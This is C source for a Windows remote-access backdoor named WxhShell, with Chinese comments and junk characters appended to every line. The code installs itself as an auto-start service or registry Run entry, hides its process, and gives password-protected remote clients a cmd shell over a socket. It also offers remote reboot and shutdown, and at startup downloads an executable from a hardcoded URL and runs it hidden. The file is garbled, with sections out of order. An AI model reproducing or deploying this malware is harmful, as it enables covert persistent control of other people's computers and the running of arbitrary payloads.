    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )}Cf6 m}  
    else { yw1Xxwc  
    closesocket(wsh); :)h4SD8Y  
    ExitThread(0); P/Y)Yx_(  
    } </R@)_'  
    break; A$L:,b(  
    } bfkFk  
  // 获取shell x'SIHV4M@Q  
  case 's': { c5pK%I}O  
    CmdShell(wsh); 5'%O]~  
    closesocket(wsh); J/PK #<  
    ExitThread(0); Dj6^|R$z&  
    break; 8?|W-rN  
  } n#B}p*G  
  // 退出 w4zp%`?D'  
  case 'x': { L=P8;Gj)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dCLNZq h6  
    CloseIt(wsh); /+WC6&  
    break; %ofq  
    } f"^t~q[VS  
  // 离开 2X(2O':Uc  
  case 'q': { o@C|*TXN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +U?73cYN  
    closesocket(wsh); Z Z c^~  
    WSACleanup(); D&]xKx  
    exit(1); xn)F(P 0kv  
    break; }iLi5Qkx  
        } qLw^Qxo  
  } -iFFXESVX  
  } *z_`$Y  
=5:kV/p  
  // 提示信息 6j|~oMYP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $_e{Zv[  
} ]/AU_&  
  } kV3LFPf>0  
jaMpi^C  
  return; m~&>+q ^7  
} ` M-  
M. _5mZ{  
// shell模块句柄 llCE}Vdh  
int CmdShell(SOCKET sock) (&, E}{p9  
{ G=C2l# Ae!  
STARTUPINFO si; R@`xS<`L/  
ZeroMemory(&si,sizeof(si)); % 3fpIzm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c;=St1eoz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0 t/mLw&  
PROCESS_INFORMATION ProcessInfo; T8x/&g''  
char cmdline[]="cmd"; v[?gM.SF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9<"F3F0|  
  return 0; y{XNB}E  
} *$/Go8t4u  
$jBi~QqOf  
// 自身启动模式 {xP-p"?p  
int StartFromService(void) =c]We:I  
{ RusiCo!r  
typedef struct D>`{f4Y  
{ f<R 3ND)  
  DWORD ExitStatus; b>d]= u  
  DWORD PebBaseAddress; Dhk$e  
  DWORD AffinityMask; WMFn#.aY5  
  DWORD BasePriority; ;#*.@Or@Ah  
  ULONG UniqueProcessId; h645;sb0  
  ULONG InheritedFromUniqueProcessId; L$jii  
}   PROCESS_BASIC_INFORMATION; `];ne]xM  
'8I=Tn  
PROCNTQSIP NtQueryInformationProcess; 7dlMDHp\Y  
rERtOgi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; */vid(P77  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z$35`:x&h  
w2U]RI\?2  
  HANDLE             hProcess; <Zh\6*3:ab  
  PROCESS_BASIC_INFORMATION pbi; ]*0t?'go'  
FtWO[*#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rAgpcp}  
  if(NULL == hInst ) return 0; d Z+7S`{  
NVDIuh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g26 l:1P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v v   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'OMl9}M  
SO~pe$c-  
  if (!NtQueryInformationProcess) return 0; =s S=  
IEfm>N-]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GW]t~EL  
  if(!hProcess) return 0; 6S(`Bw8h  
5Iv"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]0{,P !  
6O@Lx ]t  
  CloseHandle(hProcess); l 5f'R  
U1kW1L}B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nYj7r* e[  
if(hProcess==NULL) return 0; q"-Vh,8h  
~fO#En  
HMODULE hMod; `"$9L[>  
char procName[255]; A~L Ti  
unsigned long cbNeeded; 6\)u\m`7-l  
LD,T$"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u R!'v  
ux[13]yY  
  CloseHandle(hProcess); 'qeUI}[  
BpF}H^V-  
if(strstr(procName,"services")) return 1; // 以服务启动 m^^#3*qa  
![Vrbe P  
  return 0; // 注册表启动 2J` LZS  
} CT|H1Ry2T  
!Z;Nv  
// 主模块 x+1-^XvK  
int StartWxhshell(LPSTR lpCmdLine) LC0-O1  
{ |J ^I8gx+  
  SOCKET wsl; nH[>Sff$  
BOOL val=TRUE; zEeix,IU  
  int port=0; t4-0mNBZt$  
  struct sockaddr_in door; fY|vq amA;  
o K&G  
  if(wscfg.ws_autoins) Install(); a$LoQ<f_  
TQ5kT?/{  
port=atoi(lpCmdLine); HZ\=NDz  
8JO(P0aT  
if(port<=0) port=wscfg.ws_port; n|PW^kOE/  
I#zL-RXT  
  WSADATA data; E7]a#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (. ,{x)H  
[bN_0T.YI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <H1e+l{8$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V("T9g  
  door.sin_family = AF_INET; N/E=-&E8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]oC7{OoX  
  door.sin_port = htons(port); &2W`dEv]?  
%@;xbKj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TG.\C8;vFh  
closesocket(wsl); WVL\|y728s  
return 1; 57$/Dn  
} ;ZZmX]kz,M  
 <XnxAA  
  if(listen(wsl,2) == INVALID_SOCKET) { 1w>G8  
closesocket(wsl); C,{ Ekbg  
return 1; )/{~&L U  
} A{52T]9X  
  Wxhshell(wsl); 9O:-q[K**  
  WSACleanup(); @ t8{pb;v  
SN#N$] y5s  
return 0; G<t _=j/r  
z'EphL7r   
} V>Nw2u!!  
1sfs!b&E  
// 以NT服务方式启动 [wUJ ~~2#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mS]soYTQ  
{ '_xa>T}  
DWORD   status = 0; }i\_`~  
  DWORD   specificError = 0xfffffff; 4Y@q.QP  
r / L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l{_1`rC'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &|Vzo@D(!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zg >!5{T  
  serviceStatus.dwWin32ExitCode     = 0; g^:7mG6C  
  serviceStatus.dwServiceSpecificExitCode = 0; Zor Q2>  
  serviceStatus.dwCheckPoint       = 0; !(N,tZ  
  serviceStatus.dwWaitHint       = 0; !]!9 $6n  
4rNuAK`2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [xPO'@Y  
  if (hServiceStatusHandle==0) return; mzTM&@  
0a)LZp|  
status = GetLastError(); DZ5h<1  
  if (status!=NO_ERROR) _[J>GfQd  
{ /6p7 k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2>inyn)S  
    serviceStatus.dwCheckPoint       = 0; 4[K6ZDBU  
    serviceStatus.dwWaitHint       = 0; 5VlF\-  
    serviceStatus.dwWin32ExitCode     = status; Dn;$4Dak(  
    serviceStatus.dwServiceSpecificExitCode = specificError; y Xi$w.gr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6;}FZ  
    return; U6_GEBz~y  
  } kn6X I*  
<t.  w(?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RSf*[2  
  serviceStatus.dwCheckPoint       = 0; l' a<k"  
  serviceStatus.dwWaitHint       = 0; n UD;y}}n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IQ9Rvnna  
} ==~ lc;  
K_BF=C.k  
// 处理NT服务事件,比如:启动、停止 {`[u XH?3d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z)p p{  
{ rh(77x1|(G  
switch(fdwControl) ZRoOdo94  
{ AW`+lE'?  
case SERVICE_CONTROL_STOP: 1;[ZkRbzL  
  serviceStatus.dwWin32ExitCode = 0; 4m/L5W:K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^g n7DiIPH  
  serviceStatus.dwCheckPoint   = 0; u_ym=N57`  
  serviceStatus.dwWaitHint     = 0; -r6LndQs  
  { %|By ?i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WR4\dsgCU  
  } #pp6 ycy  
  return; =tfS@o/n  
case SERVICE_CONTROL_PAUSE: `T$CUlt6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4031~A8  
  break; mybjcsV4  
case SERVICE_CONTROL_CONTINUE: ZCCwx71j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FtxmCIVIV~  
  break; bA3pDt).p  
case SERVICE_CONTROL_INTERROGATE: gA:N>w&<X  
  break; Twr<MXa  
}; ~,P."  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #5W-*?H  
} ik|iAWy  
'B$qq[l]S  
// 标准应用程序主函数 E.OL_\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $~2qEe.h  
{ ai(J%"D"  
_#6ekl|%  
// 获取操作系统版本 Y,C3E>}Dq  
OsIsNt=GetOsVer(); !l1ycQM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9\W }p\c  
a$'= a09  
  // 从命令行安装 Wq]Lb:&{a  
  if(strpbrk(lpCmdLine,"iI")) Install(); -OV!56&  
hKYA5]  
  // 下载执行文件 JGKiVBN  
if(wscfg.ws_downexe) { IH0qx_;P&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BF>3CW7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3 ~^}R  
} &5F@u IA  
7\1bq&a<  
if(!OsIsNt) { R} aHo0r  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q[N6#C:(4  
HideProc(); YDr/Cw>J  
StartWxhshell(lpCmdLine); J^ BC  
} Jri"Toz0  
else )mMHwLDwH  
  if(StartFromService()) _ Tj`  
  // 以服务方式启动 jB!Q8#&Q  
  StartServiceCtrlDispatcher(DispatchTable); Z &R{jQ,  
else :If1zB)  
  // 普通方式启动  7ehs+GI  
  StartWxhshell(lpCmdLine); F82_#|kpS  
Jd>"g9  
return 0; /`V:;  
} 6Q.6  
Ad:)5R o  
@SV.F  
i0-zGEMB.  
=========================================== I`e |[k2  
J 4EG  
+iYy^oXxw  
7+vyN^XJ"5  
i-4pdK u  
Dpa PRA)x  
" REvY`   
qm1;^j&y  
#include <stdio.h> lIj2w;$v  
#include <string.h> 2|n~5\K|t  
#include <windows.h> 0*KU"JcXd  
#include <winsock2.h> [LJ1wBMw  
#include <winsvc.h> T};fy+iq  
#include <urlmon.h> E#=slj @  
r!vSYgee  
#pragma comment (lib, "Ws2_32.lib") `kd P)lI `  
#pragma comment (lib, "urlmon.lib") ^gpswhp 5  
."m2/Ks7  
#define MAX_USER   100 // 最大客户端连接数 T 6g(,xPcL  
#define BUF_SOCK   200 // sock buffer O67.DEu^  
#define KEY_BUFF   255 // 输入 buffer vUXas*s4  
<e 'S'  
#define REBOOT     0   // 重启 j7|r^  
#define SHUTDOWN   1   // 关机 ;nbUbRb  
yF}l.>7D  
#define DEF_PORT   5000 // 监听端口 hC[MYAaF  
aa1^cw 5}  
#define REG_LEN     16   // 注册表键长度 SDTX3A1  
#define SVC_LEN     80   // NT服务名长度 )J"Lne*"  
v~N8H+! d  
// 从dll定义API ):lq}6J#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (&U8NeWZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {Y! -]_ 5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8N|y   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vq~btc.p{&  
?6gC;B  
// wxhshell配置信息 N!}r(Dd*  
struct WSCFG { 9?M><bBX  
  int ws_port;         // 监听端口 \i-HECc"U  
  char ws_passstr[REG_LEN]; // 口令 (@H'7,  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6jiz$x  
  char ws_regname[REG_LEN]; // 注册表键名 jMvWS71  
  char ws_svcname[REG_LEN]; // 服务名 B|-E3v:f 4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jm|eZDp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8Ilg[Drj*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8%s_~Yc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A3C#w J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n 4:Yc@,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !dVth)UV  
9I:H=5c  
}; {U&*8Q(/  
?th`5K30  
// default Wxhshell configuration c:Tw.WA  
struct WSCFG wscfg={DEF_PORT, FbVdqO  
    "xuhuanlingzhe",  'mz _JM  
    1, 0?]*-wvp  
    "Wxhshell", 7ZbnG@s7  
    "Wxhshell", > !thxG/_  
            "WxhShell Service", {]aB3  
    "Wrsky Windows CmdShell Service", &n.7~C]R  
    "Please Input Your Password: ", [WDtr8L  
  1, AKVll  
  "http://www.wrsky.com/wxhshell.exe", gu[3L  
  "Wxhshell.exe" h^h!OQKQ  
    }; |RBgJkS;8  
.6yC' 3~;o  
// 消息定义模块 #TLqo(/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C< GS._V&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ceDe!Iu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H=OKm  
char *msg_ws_ext="\n\rExit.";  xA DjQ%B  
char *msg_ws_end="\n\rQuit."; .R/`Y)4  
char *msg_ws_boot="\n\rReboot..."; }%B^Vl%ZZ  
char *msg_ws_poff="\n\rShutdown..."; YPraf$  
char *msg_ws_down="\n\rSave to "; * _puW x  
&}P{w  
char *msg_ws_err="\n\rErr!"; D=U"L-rRs  
char *msg_ws_ok="\n\rOK!"; t0*JinK I  
yp=(wcJ  
char ExeFile[MAX_PATH]; 5+<<:5_6l  
int nUser = 0; Zb)j2Xgl  
HANDLE handles[MAX_USER]; []D@"Bz  
int OsIsNt; $okGqu8z.O  
"=0#pH1o  
SERVICE_STATUS       serviceStatus; Y4Hi<JWo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n%lY7.z8d  
_u$X.5Q;  
// 函数声明 tl|Qw";I  
int Install(void); `2S G{5o;  
int Uninstall(void);  }xcEWC\  
int DownloadFile(char *sURL, SOCKET wsh); D}1Z TX_  
int Boot(int flag); #WD} XOA  
void HideProc(void); FpjpsD~ Qu  
int GetOsVer(void); >}` q4U6$  
int Wxhshell(SOCKET wsl); 9S ~!!7oj  
void TalkWithClient(void *cs); )x1LOMe  
int CmdShell(SOCKET sock); A ^YHtJ  
int StartFromService(void); i?uJ<BdU[  
int StartWxhshell(LPSTR lpCmdLine); SG1fu<Q6J  
t&+f:)n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "oX@Z^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X8 uVet]D~  
x4jn45]x@  
// 数据结构和表定义 #F\}PCBe'  
SERVICE_TABLE_ENTRY DispatchTable[] = 5`oVyxJ<  
{ }R#YO$J7  
{wscfg.ws_svcname, NTServiceMain}, a $pxt!6  
{NULL, NULL} <4,n6$E  
}; >r] bfN,  
JTw\5j  
// 自我安装 -EV_=a8[y  
int Install(void) \hpD  
{  GU99!.$  
  char svExeFile[MAX_PATH]; 6@`Y6>}$_  
  HKEY key; UxZT&x3=)}  
  strcpy(svExeFile,ExeFile); HE911 lc:  
}~Z1C0 t  
// 如果是win9x系统,修改注册表设为自启动 PaPQ|Pwz  
if(!OsIsNt) { ]+O];*T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e;:~@cB,c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ", b}-B  
  RegCloseKey(key); ,/n<Qg"`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <X}@afS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L4I1nl  
  RegCloseKey(key); zG|}| //}  
  return 0; KlbL<9P >  
    } h$)},% e  
  } uc@f#(-  
} CN6@g^)P  
else { -`FPR4;  
G<9UL*HU  
// 如果是NT以上系统,安装为系统服务 3dG[dYj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qP<wf=wY  
if (schSCManager!=0) ~W'>L++  
{ wehZ7eqm  
  SC_HANDLE schService = CreateService uop|8n1  
  ( f5jxF"oGNo  
  schSCManager, Q70LQCms  
  wscfg.ws_svcname, %\8E{M:  
  wscfg.ws_svcdisp, o*7`r~  
  SERVICE_ALL_ACCESS, Zf~Em'g"3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gp.+&\vi  
  SERVICE_AUTO_START, ^ sxcBG  
  SERVICE_ERROR_NORMAL, |,c\R"8xS  
  svExeFile, :d7Ju.*J  
  NULL, `N%q^f~  
  NULL, ^<fN  
  NULL, oTj9/r  
  NULL, AyZL(  
  NULL P#5&D*`}h  
  ); `~'yy q  
  if (schService!=0) zCxr]md  
  { {S4^;Va1  
  CloseServiceHandle(schService); Iuk!A?XV  
  CloseServiceHandle(schSCManager); '&{`^l/ MH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |T:' G  
  strcat(svExeFile,wscfg.ws_svcname); e1ru#'z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /7Z;/|oU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I%]L  
  RegCloseKey(key); $Il?[4FF  
  return 0; ~Aul 7[IH  
    } ^mbpt`@  
  } JAM4 R_  
  CloseServiceHandle(schSCManager); C FY3D|  
} m'&^\7;D  
} {?c `0C  
 qOO2@c  
return 1; _]W {)=ap  
} Ar4@7  
Z)B5g>  
// 自我卸载 -}nTwx:|5u  
int Uninstall(void) ^Wk.D-  
{ 6j9P`#Lt  
  HKEY key; 8Qtd,  
t>[K:[0U  
if(!OsIsNt) { 6|*em4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gZQ,br*  
  RegDeleteValue(key,wscfg.ws_regname); T\\Q!pY  
  RegCloseKey(key); r:u,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tkr RdCq  
  RegDeleteValue(key,wscfg.ws_regname); '(M8D5?N-  
  RegCloseKey(key); / 0Z_$Q&e  
  return 0; bM`7>3 d7E  
  } |,k,X}gP  
} ?0HPd5=<v  
} 0KknsP7  
else { W#1t%hT$  
n~xh %r;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dQ+{Dv3A  
if (schSCManager!=0) Wt2+D{@8  
{ ]DcQ8D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ao>`[-  
  if (schService!=0) GrWzgO  
  { FL -yt  
  if(DeleteService(schService)!=0) { 0mj^Tms  
  CloseServiceHandle(schService); VY }?Nb<&  
  CloseServiceHandle(schSCManager); Y/Yp+W6n  
  return 0; .0$$H"t  
  } yj!4L&A  
  CloseServiceHandle(schService); >% a^;gk(  
  } Wx&gI4~  
  CloseServiceHandle(schSCManager); L$*sv.  
} S0+nQM%  
} $7%e|0jC  
}$-;P=k  
return 1; T@c{5a  
} {L 7O{:J  
qF!oP  
// 从指定url下载文件 iYE:o{  
int DownloadFile(char *sURL, SOCKET wsh) 9(`d h  
{ {MK.jw9/  
  HRESULT hr; 4f+R}Ee7  
char seps[]= "/"; G?\\k[#,&  
char *token; ]AjDe]  
char *file; B16,c9[  
char myURL[MAX_PATH]; cnfjO g'\{  
char myFILE[MAX_PATH]; J)R;NYl  
E>xd*23+\  
strcpy(myURL,sURL); w>M8 FG(4]  
  token=strtok(myURL,seps);  'Q\I@s }  
  while(token!=NULL) mouLjT&p  
  { Q)}_S@v|%  
    file=token; _G]f v'  
  token=strtok(NULL,seps); VFLxxFJ  
  } \OMWE/qMy  
 +c@s  
GetCurrentDirectory(MAX_PATH,myFILE); cTW3\S=  
strcat(myFILE, "\\"); t)Q6A@$:  
strcat(myFILE, file); Ra%" +=  
  send(wsh,myFILE,strlen(myFILE),0); l*;Isz:  
send(wsh,"...",3,0); V@6,\1#`|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :sD/IM",},  
  if(hr==S_OK) hiKgV|ZD  
return 0; BfmSM9  
else RtZK2  
return 1; "p<B|  
u*#j;Xc  
} s>8;At-  
=?Y%w%2  
// 系统电源模块 +AVYypql8K  
int Boot(int flag) A1{ 7g<k6  
{ a`XXz  
  HANDLE hToken; 4,D$% .  
  TOKEN_PRIVILEGES tkp; W10=SM}  
24u;'i-y5  
  if(OsIsNt) { v[efM8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )@"iWQ 3K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^_dYE]t  
    tkp.PrivilegeCount = 1; d;GF<bz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iY @MnnX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nqX)+{wAXe  
if(flag==REBOOT) { ~@8r-[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &6*X&]V!Z  
  return 0; M~ =Bln5  
} pa1.+~)  
else { ZMs$C3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,dhSc<:LT  
  return 0; wBr$3:  
} k"-2OT  
  } |TCHPKN  
  else { :{za[,  
if(flag==REBOOT) { Q2wEt >0a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g8<Ja(J  
  return 0; |)4Fe/!cJ  
} 5&}~W)"9  
else { Y](kMNUSg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kjW Y{7b!  
  return 0; wvH=4TT=w"  
} 3f;W+^NY  
} /b3b0VfF  
cuenDw=eC  
return 1; <pAN{:  
} sC ,[CN:b  
X%ii z  
// win9x进程隐藏模块 !`j}%!K!  
void HideProc(void) "AH1)skB:  
{ >z&|<H%  
crx8+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FjUf|  
  if ( hKernel != NULL ) 3yT7;~vPj  
  { zoFCHs r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "P4#Q_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u} y)'eH  
    FreeLibrary(hKernel); Qx$C oY  
  } N_#QS}H  
R*m=V{iu`  
return; zCOzBL/1q  
} pDW4DF:`(  
8t{-  
// 获取操作系统版本 85$W\d  
int GetOsVer(void) 6 w"-&  
{ ~0S_S+e  
  OSVERSIONINFO winfo; ?OW!zE:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tS1(.CRk  
  GetVersionEx(&winfo); #=>t6B4af  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HvhP9_MB  
  return 1; LP_w6fjT  
  else AOvn<Q  
  return 0;  Fu@2gd  
} y]dA<d?u  
D;~c`G "f  
// 客户端句柄模块 (]*otVJ  
int Wxhshell(SOCKET wsl) 0~.OMG:=  
{ n2<#]2h  
  SOCKET wsh; t)O8ON  
  struct sockaddr_in client; l$j/Ye]  
  DWORD myID; RgF5w<Vd.  
#x) lN  
  while(nUser<MAX_USER) &f2'cR  
{ Sb9O#$89  
  int nSize=sizeof(client); =LP,+z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J Iw=Bs  
  if(wsh==INVALID_SOCKET) return 1; 1 uKWvp0\  
:cx}I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K'Gv+UC*6  
if(handles[nUser]==0) &W'X3!Te  
  closesocket(wsh); 3%"r%:fQB/  
else ;ALkeUR[  
  nUser++; rD7L==Ld  
  } !R{C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G-vBJlt=t  
U6 4WTS@  
  return 0; 6*!R'  
} m^6& !`CD  
GS!7HphR  
// 关闭 socket ;rD M%S@  
void CloseIt(SOCKET wsh) Rds_Cd C  
{ 8IX:XDEQ  
closesocket(wsh); ncF|wz  
nUser--; ^e<"`e  
ExitThread(0); h3}gg@Fm  
} sBsf{%I[{  
Q Pel n)  
// 客户端请求句柄 ( !K?^si  
void TalkWithClient(void *cs) > 4c7r~\k  
{ -F7GUB6B  
WAzYnl'p  
  SOCKET wsh=(SOCKET)cs; =.*+c\  
  char pwd[SVC_LEN]; |H!kU.f]  
  char cmd[KEY_BUFF]; mBp3_E.t  
char chr[1]; PNjZbOmzS  
int i,j; }"V$li  
J.R|Xd  
  while (nUser < MAX_USER) { "s:eH"_s  
e@Cv')]B  
if(wscfg.ws_passstr) { dtXA EL\q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mX4u#$xs:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z= 'DV1A$,  
  //ZeroMemory(pwd,KEY_BUFF); "ggViIOw&  
      i=0;  k|Xxr  
  while(i<SVC_LEN) { k^x[(gw  
R F)Qsa  
  // 设置超时 WcG!6.U>  
  fd_set FdRead; F|rJ{=x  
  struct timeval TimeOut; ;q8tOvQ  
  FD_ZERO(&FdRead); R{GT? wl  
  FD_SET(wsh,&FdRead); f3g#(1  
  TimeOut.tv_sec=8; uQ}0hs  
  TimeOut.tv_usec=0; R a> k#pQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :^G;`T`L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |^uU&O;.  
lur$?_gt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m'L7K K-Y)  
  pwd=chr[0]; 'aq9]D_k  
  if(chr[0]==0xd || chr[0]==0xa) { Z~JX@s0v  
  pwd=0; M;14s*g  
  break; & o2F4  
  } *@EItj`  
  i++; dBB;dN  
    } _tl,-}~  
}I1A4=d  
  // 如果是非法用户,关闭 socket 3!+N} [$iy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QN GICG-  
} 5W T^;J9V  
` |L l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 13:yaRo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !I 7bxDzK$  
,wI$O8"!j  
while(1) { w6B'&  
IQ&o%   
  ZeroMemory(cmd,KEY_BUFF); POnI&y]  
j.'Rm%@u  
      // 自动支持客户端 telnet标准   rh8.kW-K_  
  j=0; Bi!j re  
  while(j<KEY_BUFF) { jK!Y-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9PU9BYBG  
  cmd[j]=chr[0]; ]m>N!Iu  
  if(chr[0]==0xa || chr[0]==0xd) { v7V.,^6+  
  cmd[j]=0; |Lq -vs?  
  break; /~4wM#Yi8  
  } m]Sv>|  
  j++; R5y+bMZ  
    } nJdO~0}3  
gypE~@  
  // 下载文件 TAkM-iyH]  
  if(strstr(cmd,"http://")) { sRM3G]nUr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?|&plf |  
  if(DownloadFile(cmd,wsh)) \Y EV 5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \z/_vzz4  
  else 34@f(^d+^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bZ/4O*B  
  } z_Nw%V4kr  
  else { 75O-%9lFF  
S.!0~KR: U  
    switch(cmd[0]) { _n[4+S*v(  
  YivWvV  
  // 帮助 Ar+<n 2;[  
  case '?': { ]>K02SVT:  
